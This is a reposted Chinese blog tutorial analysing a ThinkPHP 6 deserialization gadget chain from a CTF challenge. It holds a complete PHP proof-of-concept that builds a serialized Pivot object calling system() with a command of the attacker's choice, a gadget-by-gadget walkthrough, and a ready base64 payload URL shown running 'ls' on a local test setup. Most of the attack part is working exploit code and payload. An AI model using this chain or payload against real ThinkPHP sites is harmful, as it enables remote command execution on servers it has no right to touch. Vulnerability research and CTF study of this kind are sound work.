駭客手把手教你分析一次漏洞

本文轉載自【微信公眾號:手機電腦雙駭客 ,ID:heikestudio】

駭客手把手教你分析一次漏洞

前言

去年的安洵杯,裡面有一道iamthinking的題目(好像是這個名字吧),裡面考察到了tp6的反序列化(透過訪問www。zip可以下載原始碼),按照慣例,我還是沒有做出來,我不知道咋繞過那個正則emmmm,給沒有做題的大師傅獻上關鍵原始碼吧,如果有師傅懂,歡迎評論

<?php

namespace app\controller;

use app\BaseController;

class Index extends BaseController

{

public function index()

{

echo “駭客手把手教你分析一次漏洞”;

$paylaod = @$_GET[‘payload’];

if(isset($paylaod))

{

$url = parse_url($_SERVER[‘REQUEST_URI’]);

parse_str($url[‘query’],$query);

foreach($query as $value)

{

if(preg_match(“/^O/i”,$value))

{

die(‘STOP HACKING’);

exit();

}

}

unserialize($paylaod);

}

}

}

雖然題沒有做出來,但是tp6的反序列化POP鏈必須學習一波。

PoC獻上

<?php

namespace think\model\concern;

trait Conversion

{

}

trait Attribute

{

private $data;

private $withAttr = [“axin” => “system”];

public function get()

{

$this->data = [“axin” => “ls”]; //你想要執行的命令,這裡的鍵值只需要保持和withAttr裡的鍵值一致即可

}

}

namespace think;

abstract class Model{

use model\concern\Attribute;

use model\concern\Conversion;

private $lazySave = false;

protected $withEvent = false;

private $exists = true;

private $force = true;

protected $field = [];

protected $schema = [];

protected $connection=‘mysql’;

protected $name;

protected $suffix = ‘’;

function __construct(){

$this->get();

$this->lazySave = true;

$this->withEvent = false;

$this->exists = true;

$this->force = true;

$this->field = [];

$this->schema = [];

$this->connection = ‘mysql’;

}

}

namespace think\model;

use think\Model;

class Pivot extends Model

{

function __construct($obj=‘’)

{

parent::__construct();

$this->name = $obj;

}

}

$a = new Pivot();

$b = new Pivot($a);

echo urlencode(base64_encode(serialize($b)));

大佬們好像沒有放現成的PoC,我這裡自己糊弄了一個,大家將就著看吧,下面我們就來看看整個POP鏈吧。

利用鏈分析

這次的利用鏈後半部分也就是__toString()後面的鏈條都是與tp5。2。x一樣的,只是前半條鏈不一致,奈何我之前只分析過tp5。1。x的,而5。1。x與5。2。x的區別就是後半條鏈不一致,也就是說tp5。1。x的利用鏈與tp6。x的利用鏈完全不一樣,而我在準備復現tp5。2。x的pop鏈時,用composer安裝tp5。2。x死活安不上,但是官網上又說5。2只能用composer安裝……。

駭客手把手教你分析一次漏洞

在這裡插入圖片描述

跑去github上提issue,結果官方回覆說沒有5。2版本了……說出來給各位師傅們避個坑

先列出利用鏈:

think\Model ——> __destruct()

think\Model ——> save()

think\Model ——> updateData()

think\Model ——> checkAllowFields()

think\Model ——> db()

後半部分利用鏈(同tp 5。2後半部分利用鏈)

think\model\concern\Conversion ——> __toString()

think\model\concern\Conversion ——> __toJson()

think\model\concern\Conversion ——> __toArray()

think\model\concern\Attribute ——> getAttr()

think\model\concern\Attribute ——> getValue()

可以看到我把利用鏈拆分為了兩部分,前面一部分是到有字串拼接操作為止,後面一部分是從字串拼接的魔術方法開始,一直到程式碼執行的觸發點。接下來我們就一邊梳理利用鏈,一邊構造POC。

Model的__destruct方法

public function __destruct()

{

echo “lazySave的值:”。$this->lazySave。“
”;

if ($this->lazySave) {

$this->save();

}

}

這裡要執行save方法,需要lazySave=true

跟進save方法,因為我們關注的只是updateData方法,所以updateData後面的程式碼我就省略掉了:

public function save(array $data = [], string $sequence = null): bool

{

// 資料物件賦值

$this->setAttrs($data);

if ($this->isEmpty() || false === $this->trigger(‘BeforeWrite’)) {

return false;

}

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

xxxxxxxxxxxx

return true;

}

為了能夠順利執行到updateData(),我們需要保證前面的if條件判斷不成立($this->isEmpth()==false和$this->trigger()==true)以及$this->exists=true

isEmpty

public function isEmpty(): bool

{

return empty($this->data);

}

只要保證this->data不為空就行

trigger

protected function trigger(string $event): bool

{

if (!$this->withEvent) {

return true;

}

$call = ‘on’ 。 Str::studly($event);

try {

if (method_exists(static::class, $call)) {

$result = call_user_func([static::class, $call], $this);

} elseif (is_object(self::$event) && method_exists(self::$event, ‘trigger’)) {

$result = self::$event->trigger(static::class 。 ‘。’ 。 $event, $this);

$result = empty($result) ? true : end($result);

} else {

$result = true;

}

return false === $result ? false : true;

} catch (ModelEventException $e) {

return false;

}

}

看似這麼長一串,但是我們只需要令withEvent=false就可以直接發揮true,回到save函式,接下來再令$this->exists==true,然後進入updateData()

protected function updateData(): bool

{

echo “updateData執行——-
”;

// 事件回撥

if (false === $this->trigger(‘BeforeUpdate’)) { // 經過我們之前的設定,這兒直接跳過

return false;

}

$this->checkData();

// 獲取有更新的資料

$data = $this->getChangedData();

if (empty($data)) {

// 關聯更新

if (!empty($this->relationWrite)) {

$this->autoRelationUpdate();

}

return true;

}

if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {

// 自動寫入更新時間

$data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime);

$this->data[$this->updateTime] = $data[$this->updateTime];

}

// 檢查允許欄位

$allowFields = $this->checkAllowFields();

xxxxxxxxx

為了能夠呼叫到checkAllowFields(),還是需要保證前面不直接return,所以$data不能為空,所以我們跟進getChangedData()

public function getChangedData(): array

{

$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {

if ((empty($a) || empty($b)) && $a !== $b) {

return 1;

}

return is_object($a) || $a != $b ? 1 : 0;

});

// 只讀欄位不允許更新

foreach ($this->readonly as $key => $field) {

if (isset($data[$field])) {

unset($data[$field]);

}

}

return $data;

}

第二個foreach不需要在意,我們這裡令$this->force==true直接返回我們之前自定義的非空data,回到updateData(),後面會執行到if判斷,但是不影響我們的流程,忽略,這就進入了checkAllowFields()

protected function checkAllowFields(): array

{

echo “進入checkAllowFields()函式
”;

// 檢測欄位

if (empty($this->field)) {

if (!empty($this->schema)) {

$this->field = array_keys(array_merge($this->schema, $this->jsonType));

} else {

$query = $this->db();

$table = $this->table ? $this->table 。 $this->suffix : $query->getTable();

$this->field = $query->getConnection()->getTableFields($table);

}

return $this->field;

}

xxxxxxx

}

為了執行db(),令$this->schema與$this->field為空,進入db()

public function db($scope = []): Query

{

echo “進入db()函式
”;

/** @var Query $query */

echo “db函式中的變數值如下:
”;

echo “connection=”。$this->connection。“
”;

echo “name=”;var_dump($this->name);echo “
”;

echo “suffix=”。$this->suffix。“
”;

$query = self::$db->connect($this->connection)

->name($this->name 。 $this->suffix)

->pk($this->pk);

}

在db函數里執行了$this->name。$this->suffix這種字串拼接操作,但是在這之前需要滿足$db->connect()也就是令$this->connection==‘mysql’,至此前半條鏈已經完成。我們知道了每個變數的值怎麼設定,我們還得找一個合適的類,因為Model類是抽象類,不能例項化,我們找一個他的子類,和tp5。1一樣我們還是用Pivot類來構造PoC,不難構造出如下半成品:

namespace think;

abstract class Model{

use model\concern\Attribute;

use model\concern\Conversion;

private $lazySave = false;

protected $withEvent = false;

private $exists = true;

private $force = true;

protected $field = [];

protected $schema = [];

protected $connection=‘mysql’;

protected $name;

protected $suffix = ‘’;

function __construct(){

$this->get();

$this->lazySave = true;

$this->withEvent = false;

$this->exists = true;

$this->force = true;

$this->field = [];

$this->schema = [];

$this->connection = ‘mysql’;

}

}

namespace think\model;

use think\Model;

class Pivot extends Model

{

}

因為前半條鏈已經來到了$this->name。$this->suffix,那麼無論是name還是suffix連線後半條鏈都是可以的,重要的就是這後半條鏈從那個類開始,漏洞作者找到Conversion類,其中他的魔術方法__toString如下:

public function __toString()

{

return $this->toJson();

}

繼續跟toJson:

public function toJson(int $options = JSON_UNESCAPED_UNICODE): string

{

return json_encode($this->toArray(), $options);

}

跟進toArray:

public function toArray(): array

{

echo “進入toArray函式!!!
”;

$item = [];

$hasVisible = false;

foreach ($this->visible as $key => $val) {

xxxxxx

}

foreach ($this->hidden as $key => $val) {

xxxxxx

}

// 合併關聯資料

$data = array_merge($this->data, $this->relation); //$data=[“axin”=>“ls”]

foreach ($data as $key => $val) {

if ($val instanceof Model || $val instanceof ModelCollection) {

// 關聯模型物件

if (isset($this->visible[$key]) && is_array($this->visible[$key])) {

$val->visible($this->visible[$key]);

} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {

$val->hidden($this->hidden[$key]);

}

// 關聯模型物件

if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {

$item[$key] = $val->toArray();

}

} elseif (isset($this->visible[$key])) {

$item[$key] = $this->getAttr($key);

} elseif (!isset($this->hidden[$key]) && !$hasVisible) {

$item[$key] = $this->getAttr($key);

}

}

xxxxxx

return $item;

}

根據我最開始給出的poc,$data=[“axin”=>“ls”],所以會來到最後一個getAttr()函式處,我們跟進

public function getAttr(string $name)

{

echo “進入getAttr函式!!!!
”;

try {

$relation = false;

$value = $this->getData($name); // $name=‘axin’

} catch (InvalidArgumentException $e) {

$relation = $this->isRelationAttr($name);

$value = null;

}

return $this->getValue($name, $value, $relation);

}

如果熟悉tp5。1。x pop鏈的同學肯定覺得getData的似曾相識,我們一起來看看吧:

public function getData(string $name = null)//$name=‘axin’

{

echo “進入getData函式!!!!
”;

if (is_null($name)) {

return $this->data;

}

$fieldName = $this->getRealFieldName($name);

if (array_key_exists($fieldName, $this->data)) {

return $this->data[$fieldName];

} elseif (array_key_exists($fieldName, $this->relation)) {

return $this->relation[$fieldName];

}

throw new InvalidArgumentException(‘property not exists:’ 。 static::class 。 ‘->’ 。 $name);

}

跟進getRealFieldName:

protected function getRealFieldName(string $name): string // $name = ‘axin’

{

return $this->strict ? $name : Str::snake($name);

}

這裡我們可以令$this->strict=true,這樣就會發揮‘axin’,回到getData,getData繼續執行,也就是$fieldName=‘axin’,最後getData()返回$this->data[‘axin’]也就是返回了‘ls’。回到getAttr(),繼續執行進入getValue():

protected function getValue(string $name, $value, $relation = false)

{

echo “進入getValue函式!!!!
”;

// 檢測屬性獲取器

$fieldName = $this->getRealFieldName($name); //$fieldName=‘axin’

$method = ‘get’ 。 Str::studly($name) 。 ‘Attr’;

if (isset($this->withAttr[$fieldName])) {

if ($relation) {

$value = $this->getRelationValue($relation);

}

if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {

$value = $this->getJsonValue($fieldName, $value);

} else {

echo “到達程式碼執行觸發點!!!
”;

$closure = $this->withAttr[$fieldName]; //這裡的withAttr = [“axin”=>“system”]

$value = $closure($value, $this->data);

}

} elseif (method_exists($this, $method)) {

xxxxxx

} elseif (isset($this->type[$fieldName])) {

xxxxx

} elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {

xxxx

} elseif ($relation) {

xxxxxxxxxx

}

return $value;

}

這裡順序執行,預設會執行到

$closure = $this->withAttr[$fieldName]; //這裡的withAttr = [“axin”=>“system”] ,$filedName=‘axin’

$value = $closure($value, $this->data);//最終執行system(“ls”, [“axin”=>“ls”])

可以看到最終是執行了system(“ls”, [“axin”=>“ls”]),而system函式第二個引數是可選的,也就是這種用法是合法的

注:

system ( string $command [, int &$return_var ] ) : string

引數

command

要執行的命令。

return_var

如果提供 return_var 引數, 則外部命令執行後的返回狀態將會被設定到此變數中。

至此,Tp5。6。x的pop鏈後半段也結束了。剩下的就是完善剛剛前半段POP鏈構造的poc了,成品也就是我最開始貼出來的那個,最後看一下我本地除錯的效果,當然在除錯過程中需要自己構造一個反序列化點,我直接在Index控制器中構造了一個新方法反序列化$_GET[p]:

駭客手把手教你分析一次漏洞

然後請求/public/index。php/index/unser?p=TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjExOntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo4OiIAKgBmaWVsZCI7YTowOnt9czo5OiIAKgBzY2hlbWEiO2E6MDp7fXM6MTM6IgAqAGNvbm5lY3Rpb24iO3M6NToibXlzcWwiO3M6NzoiACoAbmFtZSI7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjExOntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo4OiIAKgBmaWVsZCI7YTowOnt9czo5OiIAKgBzY2hlbWEiO2E6MDp7fXM6MTM6IgAqAGNvbm5lY3Rpb24iO3M6NToibXlzcWwiO3M6NzoiACoAbmFtZSI7czowOiIiO3M6OToiACoAc3VmZml4IjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0OiJheGluIjtzOjI6ImxzIjt9czoyMToiAHRoaW5rXE1vZGVsAHdpdGhBdHRyIjthOjE6e3M6NDoiYXhpbiI7czo2OiJzeXN0ZW0iO319czo5OiIAKgBzdWZmaXgiO3M6MDoiIjtzOjE3OiIAdGhpbmtcTW9kZWwAZGF0YSI7YToxOntzOjQ6ImF4aW4iO3M6MjoibHMiO31zOjIxOiIAdGhpbmtcTW9kZWwAd2l0aEF0dHIiO2E6MTp7czo0OiJheGluIjtzOjY6InN5c3RlbSI7fX0%3D,可以看到成功執行ls命令,其他那些亂七八糟的輸出是我除錯是自己echo的,大家在編寫反序列化poc時也可以這樣一點點確定自己寫對了沒。

駭客手把手教你分析一次漏洞

參考

向大佬們看齊,respect

https://xz。aliyun。com/t/6619

https://xz。aliyun。com/t/6479

https://www。anquanke。com/post/id/187393

https://www。anquanke。com/post/id/187332

本文轉載自【微信公眾號:手機電腦雙駭客 ,ID:heikestudio】